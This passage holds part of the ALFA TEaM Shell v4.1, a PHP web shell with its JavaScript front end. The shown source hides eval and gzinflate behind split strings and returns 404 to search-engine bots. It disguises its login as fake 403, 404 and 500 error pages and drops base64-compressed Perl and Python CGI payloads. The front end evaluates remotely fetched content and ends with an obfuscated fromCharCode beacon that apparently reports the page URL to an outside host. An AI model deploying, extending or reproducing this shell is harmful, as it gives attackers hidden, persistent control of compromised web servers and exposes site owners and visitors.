input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),true?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script><script src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js" id="sortable-plugin"></script>


<script>eval(String.fromCharCode(101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,100,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,32,99,46,116,111,83,116,114,105,110,103,40,51,54,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,123,100,91,99,46,116,111,83,116,114,105,110,103,40,97,41,93,61,107,91,99,93,124,124,99,46,116,111,83,116,114,105,110,103,40,97,41,125,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,100,91,101,93,125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,125,59,119,104,105,108,101,40,99,45,45,41,123,105,102,40,107,91,99,93,41,123,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,125,125,114,101,116,117,114,110,32,112,125,40,39,48,32,49,61,103,46,52,40,41,43,92,39,58,92,39,43,53,40,100,46,54,44,55,41,59,48,32,50,61,57,32,56,40,41,59,50,46,98,61,92,39,99,58,47,47,101,46,102,47,92,39,43,49,43,92,39,47,97,46,51,92,39,59,39,44,49,55,44,49,55,44,39,118,97,114,124,115,116,97,109,112,124,105,109,103,124,112,110,103,124,110,111,119,124,101,110,99,114,121,112,116,124,85,82,76,124,49,52,57,57,55,124,73,109,97,103,101,124,110,101,119,124,98,103,124,115,114,99,124,104,116,116,112,115,124,124,53,52,49,53,54,49,52,53,49,51,49,50,52,124,105,99,117,124,68,97,116,101,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41))</script></body></html>

Original PHP code

<?php
/*
	Author: 	Solevisible/Alfa-Team
	Telegram: 	https://telegram.me/solevisible
	YouTube: 	https://youtube.com/solevisible
	Gmail:		solevisible@gmail.com
	Date:		Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
    'username' => 'alfa',
    'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
    'safe_mode' => '0',
    'login_page' => '403',
    'show_icons' => '1',
    'post_encryption' => false,
    'cgi_api' => true,
);

$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
$OVpGNqqFZs = 'e' . 'v' . 'al';
$psDEwGhsxg = 'gz' . 'inf' . 'late';

if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
{
    function vcnvSCZgBz($data)
    {
        if (empty($data)) return;
        $b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
        $o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
        $ac = 0;
        $enc = '';
        $tmp_arr = array();
        if (!$data)
        {
            return $data;
        }
        do
        {
            $o1 = $aztJtafUXm($data, $i++);
            $o2 = $aztJtafUXm($data, $i++);
            $o3 = $aztJtafUXm($data, $i++);
            $bits = $o1 << 16 | $o2 << 8 | $o3;
            $h1 = $bits >> 18 & 0x3f;
            $h2 = $bits >> 12 & 0x3f;
            $h3 = $bits >> 6 & 0x3f;
            $h4 = $bits & 0x3f;
            $tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
        }
        while ($i < strlen($data));
        $enc = implode($tmp_arr, '');
        $r = (strlen($data) % 3);
        return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
    }
    function charCodeAt($data, $char)
    {
        return ord(substr($data, $char, 1));
    }
    function charAt($data, $char)
    {
        return substr($data, $char, 1);
    }
}
else
{
    function vcnvSCZgBz($s)
    {
        $b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
        return $b($s);
    }
}
if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
{
    function zRtSHsbTzV($input)
    {
        if (empty($input)) return;
        $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
        $i = 0;
        $output = "";
        $input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
        do
        {
            $enc1 = strpos($keyStr, substr($input, $i++, 1));
            $enc2 = strpos($keyStr, substr($input, $i++, 1));
            $enc3 = strpos($keyStr, substr($input, $i++, 1));
            $enc4 = strpos($keyStr, substr($input, $i++, 1));
            $chr1 = ($enc1 << 2) | ($enc2 >> 4);
            $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
            $chr3 = (($enc3 & 3) << 6) | $enc4;
            $output = $output . chr((int)$chr1);
            if ($enc3 != 64)
            {
                $output = $output . chr((int)$chr2);
            }
            if ($enc4 != 64)
            {
                $output = $output . chr((int)$chr3);
            }
            $chr1 = $chr2 = $chr3 = "";
            $enc1 = $enc2 = $enc3 = $enc4 = "";
        }
        while ($i < strlen($input));
        return $output;
    }
}
else
{
    function zRtSHsbTzV($s)
    {
        $b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
        return $b($s);
    }
}

function __ZW5jb2Rlcg($s)
{
    return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
    return zRtSHsbTzV($s);
}

$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];

foreach ($GLOBALS['DB_NAME'] as $key => $value)
{
	$prefix = substr($key, 0, 2);
	if ($prefix == "us")
	{
		$GLOBALS['DB_NAME']["user"] = $value;
		$GLOBALS['DB_NAME']["user_rand"] = $key;
	}
	elseif ($prefix == "pa")
	{
		$GLOBALS['DB_NAME']["pass"] = $value;
		$GLOBALS['DB_NAME']["pass_rand"] = $key;
	}
	elseif ($prefix == "sa")
	{
		$GLOBALS['DB_NAME']["safemode"] = $value;
		$GLOBALS['DB_NAME']["safemode_rand"] = $key;
	}
	elseif ($prefix == "lo")
	{
		$GLOBALS['DB_NAME']["login_page"] = $value;
		$GLOBALS['DB_NAME']["login_page_rand"] = $key;
	}
	elseif ($prefix == "sh")
	{
		$GLOBALS['DB_NAME']["show_icons"] = $value;
		$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
	}
	elseif ($prefix == "po")
	{
		$GLOBALS['DB_NAME']["post_encryption"] = $value;
		$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
	}
	elseif ($prefix == "cg")
	{
		$GLOBALS['DB_NAME']["cgi_api"] = $value;
		$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
	}
}

unset($GLOBALS['oZgNypoPRU']);

if (!isset($_SERVER["HTTP_HOST"])) exit();

if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
$GLOBALS['__ALFA_COLOR__'] = array(
		"shell_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".header" => "border: 7px solid {color}",
				"#meunlist" => "border-color: {color}",
				"#hidden_sh" => "background-color: {color}",
				".ajaxarea" => "border: 1px solid {color}",
				".foot" => "border-color: {color}",
			)
		),
		"header_vars" => "#27979B",
		"header_values" => "#67ABDF",
		"header_on" => "#00FF00",
		"header_off" => "#ff0000",
		"header_none" => "#00FF00",
		"home_shell" => "#ff0000",
		"home_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".home_shell:hover" => "color: {color};",
			)
		),
		"back_shell" => "#efbe73",
		"back_shell:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".back_shell:hover" => "color: {color};",
			)
		),
		"header_pwd" => "#00FF00",
		"header_pwd:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_pwd:hover" => "color: {color};",
			)
		),
		"header_drive" => "#00FF00",
		"header_drive:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".header_drive:hover" => "color: {color};",
			)
		),
		"header_show_all" => "#00FF00",
		"disable_functions" => "#ff0000",
		"footer_text" => "#27979B",
		"menu_options" => "#27979B",
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"options_list" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				".content_options_holder .header center a" => "color: {color};",
			)
		),
		"options_list:hover" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".content_options_holder .header center a:hover" => "color: {color};",
			)
		),
		"options_list_header" => array(
			"key_color" => "#59cc33",
			"multi_selector" => array(
				".txtfont_header" => "color: {color};",
			)
		),
		"options_list_text" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".txtfont,.tbltxt" => "color: {color};",
			)
		),
		"Alfa+" => array(
			"key_color" => "#06ff0f",
			"multi_selector" => array(
				".alfa_plus" => "color: {color};font-weight: unset;",
			)
		),
		"hidden_shell_text" => array(
			"key_color" => "#00FF00",
			"multi_selector" => array(
				"#hidden_sh a" => "color: {color};",
			)
		),
		"hidden_shell_version" => "#ff0000",
		"shell_name" => "#FF0000",
		"main_row:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".main tr:hover" => "background-color: {color};",
			)
		),
		"main_header" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main th" => "color: {color};",
			)
		),
		"main_name" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .main_name" => "color: {color};font-weight: unset;",
			)
		),
		"main_size" => "#67ABDF",
		"main_modify" => "#67ABDF",
		"main_owner_group" => "#67ABDF",
		"main_green_perm" => "#25ff00",
		"main_red_perm" => "#FF0000",
		"main_white_perm" => "#FFFFFF",
		"beetween_perms" => "#FFFFFF",
		"main_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".main .actions" => "color: {color};",
			)
		),
		"menu_options:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".menu_options:hover" => "background-color: {color};font-weight: unset;",
			)
		),
		"minimize_editor_background" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".minimized-wrapper" => "background-color: {color};",
			)
		),
		"minimize_editor_text" => array(
			"key_color" => "#f5deb3",
			"multi_selector" => array(
				".minimized-text" => "color: {color};",
			)
		),
		"editor_border" => array(
			"key_color" => "#0e304a",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "border: 2px solid {color};",
			)
		),
		"editor_background" => array(
			"key_color" => "rgba(0, 1, 23, 0.94)",
			"multi_selector" => array(
				".editor-explorer,.editor-modal" => "background-color: {color};",
			)
		),
		"editor_header_background" => array(
			"key_color" => "rgba(21, 66, 88, 0.93)",
			"multi_selector" => array(
				".editor-header" => "background-color: {color};",
			)
		),
		"editor_header_text" => array(
			"key_color" => "#00ff7f",
			"multi_selector" => array(
				".editor-path" => "color: {color};",
			)
		),
		"editor_header_button" => array(
			"key_color" => "#1d5673",
			"multi_selector" => array(
				".close-button, .editor-minimize" => "background-color: {color};",
			)
		),
		"editor_actions" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_actions" => "color: {color};",
			)
		),
		"editor_file_info_vars" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".editor_file_info_vars" => "color: {color};",
			)
		),
		"editor_file_info_values" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".filestools" => "color: {color};",
			)
		),
		"editor_history_header" => array(
			"key_color" => "#14ff07",
			"multi_selector" => array(
				".hheader-text,.history-clear" => "color: {color};",
			)
		),
		"editor_history_list" => array(
			"key_color" => "#03b3a3",
			"multi_selector" => array(
				".editor-file-name" => "color: {color};",
			)
		),
		"editor_history_selected_file" => array(
			"key_color" => "rgba(49, 55, 93, 0.77)",
			"multi_selector" => array(
				".is_active" => "background-color: {color};",
			)
		),
		"editor_history_file:hover" => array(
			"key_color" => "#646464",
			"multi_selector" => array(
				".file-holder > .history:hover" => "background-color: {color};",
			)
		),
		"input_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"input[type=text],textarea" => "border: 1px solid {color}",
			)
		),
		"input_box_text" => array(
			"key_color" => "#999999",
			"multi_selector" => array(
				"input[type=text],textarea" => "color: {color};",
			)
		),
		"input_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"select_box_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				"select" => "border: 1px solid {color}",
			)
		),
		"select_box_text" => array(
			"key_color" => "#FFFFEE",
			"multi_selector" => array(
				"select" => "color: {color};",
			)
		),
		"select_box:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"button_border" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit],.button,#addup" => "border: 1px solid {color};",
			)
		),
		"button:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
				".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"outputs_text" => array(
			"key_color" => "#67ABDF",
			"multi_selector" => array(
				".ml1" => "color: {color};",
			)
		),
		"outputs_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".ml1" => "border: 1px solid {color};",
			)
		),
		"uploader_border" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_background" => array(
			"key_color" => "#0E304A",
			"multi_selector" => array(
				".inputfile strong" => "background-color: {color};",
			)
		),
		"uploader_text_right" => array(
			"key_color" => "#FFFFFF",
			"multi_selector" => array(
				".inputfile strong" => "color: {color};",
			)
		),
		"uploader_text_left" => array(
			"key_color" => "#25ff00",
			"multi_selector" => array(
				".inputfile span" => "color: {color};",
			)
		),
		"uploader:hover" => array(
			"key_color" => "#27979B",
			"multi_selector" => array(
				".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
			)
		),
		"uploader_progress_bar" => array(
			"key_color" => "#00ff00",
			"multi_selector" => array(
				".up_bar" => "background-color: {color};",
			)
		),
		"mysql_tables" => "#00FF00",
		"mysql_table_count" => "#67ABDF",
		"copyright" => "#dfff00",
		"scrollbar" => array(
			"key_color" => "#1e82b5",
			"multi_selector" => array(
				"*::-webkit-scrollbar-thumb" => "background-color: {color};",
			)
		),
		"scrollbar_background" => array(
			"key_color" => "#000115",
			"multi_selector" => array(
				"*::-webkit-scrollbar-track" => "background-color: {color};",
			)
		),
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['AlfaLoginPage'] == 'gui'){
if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '
<style>
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1>&nbsp;</font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>';
exit;
}
}elseif($config['AlfaLoginPage']=='500'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='403'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='404'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}
}
function decrypt_post($str){
	if(__ALFA_POST_ENCRYPTION__){
		$pwd = __ALFA_SECRET_KEY__;
		$pwd     = __ZW5jb2Rlcg($pwd);
		$str     = __ZGVjb2Rlcg($str);
		$enc_chr = "";
		$enc_str = "";
		$i       = 0;
		while ($i < strlen($str)) {
			for ($j = 0; $j < strlen($pwd); $j++) {
				$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
				$enc_str .= $enc_chr;
				$i++;
				if ($i >= strlen($str))
					break;
			}
		}
		return __ZGVjb2Rlcg($enc_str);
	}else{
		return __ZGVjb2Rlcg($str);
	}
}

function _AlfaSecretKey(){
	$secret = @$_COOKIE["AlfaSecretKey"];
	if(!isset($_COOKIE["AlfaSecretKey"])){
		$secret = uniqid(mt_rand(), true);
		__alfa_set_cookie("AlfaSecretKey", $secret);
	}
	return $secret;
}
function alfa_getColor($target){
	if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
		return $GLOBALS["DB_NAME"]["color"][$target];
	}else{
		$target = $GLOBALS["__ALFA_COLOR__"][$target];
		if(is_array($target)){
			return $target["key_color"];
		}else{
			return $target;
		}
	}
}
function alfaCssLoadColors(){
	$css = "";
	foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
		if(!is_array($value)){
			$value = alfa_getColor($key);
			$css .= ".{$key}{color: {$value};}";
		}else{
			if(isset($value["multi_selector"])){
				foreach($value["multi_selector"] as $k => $v){
					$color = alfa_getColor($key);
					$code = str_replace("{color}", $color, $v);
					$css .=  $k."{".$code."}";
				}
			}
		}
	}
	return $css;
}
if(isset($_POST['ajax'])){
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}}
function _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){
	if(!$GLOBALS["DB_NAME"]["cgi_api"]){
		return "";
	}
	if(isset($_COOKIE["alfacgiapi_mode"])){
		return "";
	}
	$cmd_pure = $cmd;
	$is_curl = function_exists('curl_version');
	$is_socket = function_exists('fsockopen');
	if($is_curl||$is_socket){
		$recreate = false;
		if(isset($_COOKIE["alfacgiapi"])){
			if(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){
				$recreate = true;
				$lang = $_COOKIE["alfacgiapi"];
			}
		}
		if(!isset($_COOKIE["alfacgiapi"])||$recreate){
			@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
			$perl = 'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=';
			$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";
